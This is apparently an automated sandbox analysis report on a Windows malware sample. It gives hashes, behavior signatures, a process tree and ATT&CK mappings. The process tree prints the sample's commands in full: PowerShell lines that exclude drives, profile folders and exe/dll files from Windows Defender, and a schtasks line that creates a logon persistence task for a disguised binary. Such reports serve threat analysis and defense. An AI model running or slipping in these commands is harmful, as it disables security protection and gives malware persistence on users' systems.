28ec9e6646d64704bd53325f0c48ef5383ff671547838d1833a470c9a04bc246

Analysis

max time kernel
131s
max time network
122s
platform
windows7_x64
resource
win7-en-20210920
submitted
24/10/2021, 08:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ef6fabd3a7db4b14182038b08c3b2b62.exe
Size 65KB
Sample211024-kc2seseeck
SHA256 28ec9e6646d64704bd53325f0c48ef5383ff671547838d1833a470c9a04bc246
MD5 ef6fabd3a7db4b14182038b08c3b2b62
SHA1 b5f20ba1fa1903dc17f5f23634a0416e991064ef
SHA512 cac97e181fcdc14e7fb12c1f2c37d73bc2a8690946ea8dbd2aa09530ba75fa67f51380e59d39669a8849ef1cb04cd336785fbb422f7397d789a6222b8a2f3919
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1652	services32.exe
1596	sihost32.exe

Loads dropped DLL 4 IoCs

pid	Process
1948	cmd.exe
1948	cmd.exe
2000	conhost.exe
2000	conhost.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1704	schtasks.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
756	conhost.exe
1628	powershell.exe
792	powershell.exe
2000	conhost.exe
2000	conhost.exe
984	powershell.exe
1200	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	756	conhost.exe
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeDebugPrivilege	792	powershell.exe
Token: SeDebugPrivilege	2000	conhost.exe
Token: SeDebugPrivilege	984	powershell.exe
Token: SeDebugPrivilege	1200	powershell.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 1420 wrote to memory of 756	1420	ef6fabd3a7db4b14182038b08c3b2b62.exe	28
PID 1420 wrote to memory of 756	1420	ef6fabd3a7db4b14182038b08c3b2b62.exe	28
PID 1420 wrote to memory of 756	1420	ef6fabd3a7db4b14182038b08c3b2b62.exe	28
PID 1420 wrote to memory of 756	1420	ef6fabd3a7db4b14182038b08c3b2b62.exe	28
PID 756 wrote to memory of 1004	756	conhost.exe	29
PID 756 wrote to memory of 1004	756	conhost.exe	29
PID 756 wrote to memory of 1004	756	conhost.exe	29
PID 1004 wrote to memory of 1628	1004	cmd.exe	31
PID 1004 wrote to memory of 1628	1004	cmd.exe	31
PID 1004 wrote to memory of 1628	1004	cmd.exe	31
PID 756 wrote to memory of 1088	756	conhost.exe	33
PID 756 wrote to memory of 1088	756	conhost.exe	33
PID 756 wrote to memory of 1088	756	conhost.exe	33
PID 1088 wrote to memory of 1704	1088	cmd.exe	35
PID 1088 wrote to memory of 1704	1088	cmd.exe	35
PID 1088 wrote to memory of 1704	1088	cmd.exe	35
PID 1004 wrote to memory of 792	1004	cmd.exe	36
PID 1004 wrote to memory of 792	1004	cmd.exe	36
PID 1004 wrote to memory of 792	1004	cmd.exe	36
PID 756 wrote to memory of 1948	756	conhost.exe	37
PID 756 wrote to memory of 1948	756	conhost.exe	37
PID 756 wrote to memory of 1948	756	conhost.exe	37
PID 1948 wrote to memory of 1652	1948	cmd.exe	39
PID 1948 wrote to memory of 1652	1948	cmd.exe	39
PID 1948 wrote to memory of 1652	1948	cmd.exe	39
PID 1652 wrote to memory of 2000	1652	services32.exe	40
PID 1652 wrote to memory of 2000	1652	services32.exe	40
PID 1652 wrote to memory of 2000	1652	services32.exe	40
PID 1652 wrote to memory of 2000	1652	services32.exe	40
PID 2000 wrote to memory of 2024	2000	conhost.exe	41
PID 2000 wrote to memory of 2024	2000	conhost.exe	41
PID 2000 wrote to memory of 2024	2000	conhost.exe	41
PID 2024 wrote to memory of 984	2024	cmd.exe	43
PID 2024 wrote to memory of 984	2024	cmd.exe	43
PID 2024 wrote to memory of 984	2024	cmd.exe	43
PID 2000 wrote to memory of 1596	2000	conhost.exe	44
PID 2000 wrote to memory of 1596	2000	conhost.exe	44
PID 2000 wrote to memory of 1596	2000	conhost.exe	44
PID 2024 wrote to memory of 1200	2024	cmd.exe	45
PID 2024 wrote to memory of 1200	2024	cmd.exe	45
PID 2024 wrote to memory of 1200	2024	cmd.exe	45
PID 1596 wrote to memory of 996	1596	sihost32.exe	46
PID 1596 wrote to memory of 996	1596	sihost32.exe	46
PID 1596 wrote to memory of 996	1596	sihost32.exe	46
PID 1596 wrote to memory of 996	1596	sihost32.exe	46

C:\Users\Admin\AppData\Local\Temp\ef6fabd3a7db4b14182038b08c3b2b62.exe
"C:\Users\Admin\AppData\Local\Temp\ef6fabd3a7db4b14182038b08c3b2b62.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1420
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\ef6fabd3a7db4b14182038b08c3b2b62.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:756
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
      4⤵
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1628
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
      4⤵
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:792
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1088
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
      4⤵
      Creates scheduled task(s)
      PID:1704
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c "C:\Users\Admin\services32.exe"
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1948
  - - C:\Users\Admin\services32.exe
      C:\Users\Admin\services32.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1652
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\services32.exe"
        5⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2000
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2024
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        7⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:984
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        7⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1200
      - C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1596
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "/sihost32"
        7⤵
        
        PID:996

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/756-55-0x0000000001B20000-0x0000000001B2C000-memory.dmp

Download

memory/756-66-0x000000001ABB7000-0x000000001ABB8000-memory.dmp

Download

memory/756-59-0x000000001ABB6000-0x000000001ABB7000-memory.dmp

Download

memory/756-57-0x000000001ABB2000-0x000000001ABB4000-memory.dmp

Download

memory/756-54-0x0000000000060000-0x000000000006F000-memory.dmp

Download

memory/756-58-0x000000001ABB4000-0x000000001ABB6000-memory.dmp

Download

memory/792-76-0x0000000002872000-0x0000000002874000-memory.dmp

Download

memory/792-77-0x0000000002874000-0x0000000002877000-memory.dmp

Download

memory/792-75-0x0000000002870000-0x0000000002872000-memory.dmp

Download

memory/792-73-0x000007FEED7C0000-0x000007FEEE31D000-memory.dmp

Download

memory/792-78-0x000000000287B000-0x000000000289A000-memory.dmp

Download

memory/984-101-0x0000000002570000-0x0000000002572000-memory.dmp

Download

memory/984-108-0x000000000257B000-0x000000000259A000-memory.dmp

Download

memory/984-103-0x0000000002574000-0x0000000002577000-memory.dmp

Download

memory/984-95-0x000007FEEC930000-0x000007FEED48D000-memory.dmp

Download

memory/984-102-0x0000000002572000-0x0000000002574000-memory.dmp

Download

memory/996-118-0x000000001AD26000-0x000000001AD27000-memory.dmp

Download

memory/996-116-0x000000001AD22000-0x000000001AD24000-memory.dmp

Download

memory/996-113-0x0000000000200000-0x0000000000203000-memory.dmp

Download

memory/996-115-0x0000000000060000-0x0000000000067000-memory.dmp

Download

memory/996-117-0x000000001AD24000-0x000000001AD26000-memory.dmp

Download

memory/996-119-0x000000001AD27000-0x000000001AD28000-memory.dmp

Download

memory/1200-111-0x0000000002834000-0x0000000002837000-memory.dmp

Download

memory/1200-107-0x000007FEEC930000-0x000007FEED48D000-memory.dmp

Download

memory/1200-109-0x0000000002830000-0x0000000002832000-memory.dmp

Download

memory/1200-110-0x0000000002832000-0x0000000002834000-memory.dmp

Download

memory/1200-112-0x000000000283B000-0x000000000285A000-memory.dmp

Download

memory/1628-63-0x000007FEED7C0000-0x000007FEEE31D000-memory.dmp

Download

memory/1628-67-0x0000000002790000-0x0000000002792000-memory.dmp

Download

memory/1628-74-0x000000000279B000-0x00000000027BA000-memory.dmp

Download

memory/1628-69-0x0000000002794000-0x0000000002797000-memory.dmp

Download

memory/1628-62-0x000007FEFC351000-0x000007FEFC353000-memory.dmp

Download

memory/1628-68-0x0000000002792000-0x0000000002794000-memory.dmp

Download

memory/2000-98-0x000000001AC04000-0x000000001AC06000-memory.dmp

Download

memory/2000-97-0x000000001AC02000-0x000000001AC04000-memory.dmp

Download

memory/2000-99-0x000000001AC06000-0x000000001AC07000-memory.dmp

Download

memory/2000-100-0x000000001AC07000-0x000000001AC08000-memory.dmp

Download